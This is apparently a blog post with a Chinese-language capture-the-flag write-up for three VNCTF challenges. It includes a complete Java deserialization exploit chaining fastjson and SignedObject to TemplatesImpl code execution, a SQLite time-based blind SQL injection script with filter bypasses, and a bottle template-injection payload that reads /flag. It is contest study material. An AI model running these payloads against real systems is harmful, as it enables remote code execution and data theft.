VNCTF

javaGuide

核心路由:

  @RequestMapping({"/deser"})
  @ResponseBody
  public String deserialize(@RequestParam String payload) {
    byte[] decode = Base64.getDecoder().decode(payload);
    try {
      MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
      myObjectInputStream.readObject();
    } catch (InvalidClassException e) {
      return e.getMessage();
    } catch (Exception e) {
      e.printStackTrace();
      return "exception";
    } 
    return "ok";
  }

重写了ObjectInputStream中的resolveClass方法:

  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String className = desc.getName();
    String[] denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
    int var5 = denyClasses.length;
    for (String denyClass : denyClasses) {
      if (className.startsWith(denyClass))
        throw new InvalidClassException("Unauthorized deserialization attempt", className); 
    } 
    return super.resolveClass(desc);
  }

查看依赖如下:

<dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>

直接想到了用SignedObject打fastjson二次反序列化.写出poc如下.

package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;

public class Main {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl getTemplatesImpl() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "RANDOM");
        setValue(templates, "_tfactory", null);
        return templates;
    }

    public static byte[] serialize(Object object) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        byte[] byteArray = baos.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(byteArray));
        return baos.toByteArray();
    }

    public static Object deserialize(byte[] byteArray) throws Exception{
        ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }

    public static void main(String[] args) throws Exception{
        poc4();
    }

    public static void poc4() throws Exception{
        TemplatesImpl templates = getTemplatesImpl();
        List<Object> list = new ArrayList<>();
        list.add(templates);

        JSONArray array = new JSONArray();
        array.add(templates);

        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        setValue(exception, "val", array);

        list.add(exception);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject((Serializable) list,privateKey,signingEngine);

        List<Object> list1 = new ArrayList<>();
        list1.add(signedObject);

        JSONArray array1 = new JSONArray();
        array1.add(signedObject);

        XString xString = new XString("111");

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        // 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
        hashMap1.put("yy", array1);
        hashMap1.put("zZ", xString);
        hashMap2.put("yy", xString);
        hashMap2.put("zZ", array1);

        HashMap map = new HashMap();
        // 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
        // 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
        Field size = map.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(map, 2);
        Class<?> aClass = Class.forName("java.util.HashMap$Node");
        Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
        constructor.setAccessible(true);
        Object o = Array.newInstance(aClass, 2);
        Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
        Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
        Field table = map.getClass().getDeclaredField("table");
        table.setAccessible(true);
        table.set(map, o);

        list1.add(map);

        deserialize(serialize(list1));
    }
}

然后发现不出网,不会注入内存马.最后拿webchains做的:
image

image

image

用JMG去注内存马也一直进不去,不是很懂.

奶龙回家

记录一下官方wp:
sqlite时间盲注,fuzz一下waf如下
image

/**/代替空格,使用randomblob来进行延时

import requests import time
url = 'http://node.vnteam.cn:46017/login'
flag = ''
for i in range(1,500):
    low = 32 
    high = 128 
    mid = (low+high)//2 
    while(low<high): time.sleep(0.2) 
    payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i,chr(mid)) # payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*".format(i,chr(mid)) 
    datas = { "username":"123", "password": payload } # print(datas) 
    start_time=time.time() 
    res = requests.post(url=url,json=datas) 
    end_time=time.time() 
    spend_time=end_time-start_time 
    if spend_time>=0.19: 
        low = mid+1 
    else: 
        high = mid 
        mid = (low+high)//2 
    if(mid ==32 or mid ==127): 
        break 
    flag = flag+chr(mid) 
    print(flag) 
    print('\n'+bytes.fromhex(flag).decode('utf-8'))

学生姓名登记系统

赛后复现:
提示说使用了单文件框架,测试发现存在ssti,搜索得知单文件框架指的是bottle框架,使用的SimpleTemplate模板,可以执行任意python代码.
然而发现每行限制长度为23,这个长度肯定是无法rce的,然而可以输入多行,测试一下换行之后两个大括号里的语句是否是一个上下文,发现是同一个上下文,因此使用海象表达式去进行赋值.
最后使用的poc如下:

{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}

open是因为被过滤了所以绕一下.156的位置是<class 'str'> <class 'object'> <built-in method __subclasses__ of type object at 0x7f61c5f20580> <class '_sitebuiltins._Printer'>,因为没有找到其他可用的,所以用它去读文件.

posted @ 2025-02-13 15:40  colorfullbz  阅读(115)  评论(0)    收藏  举报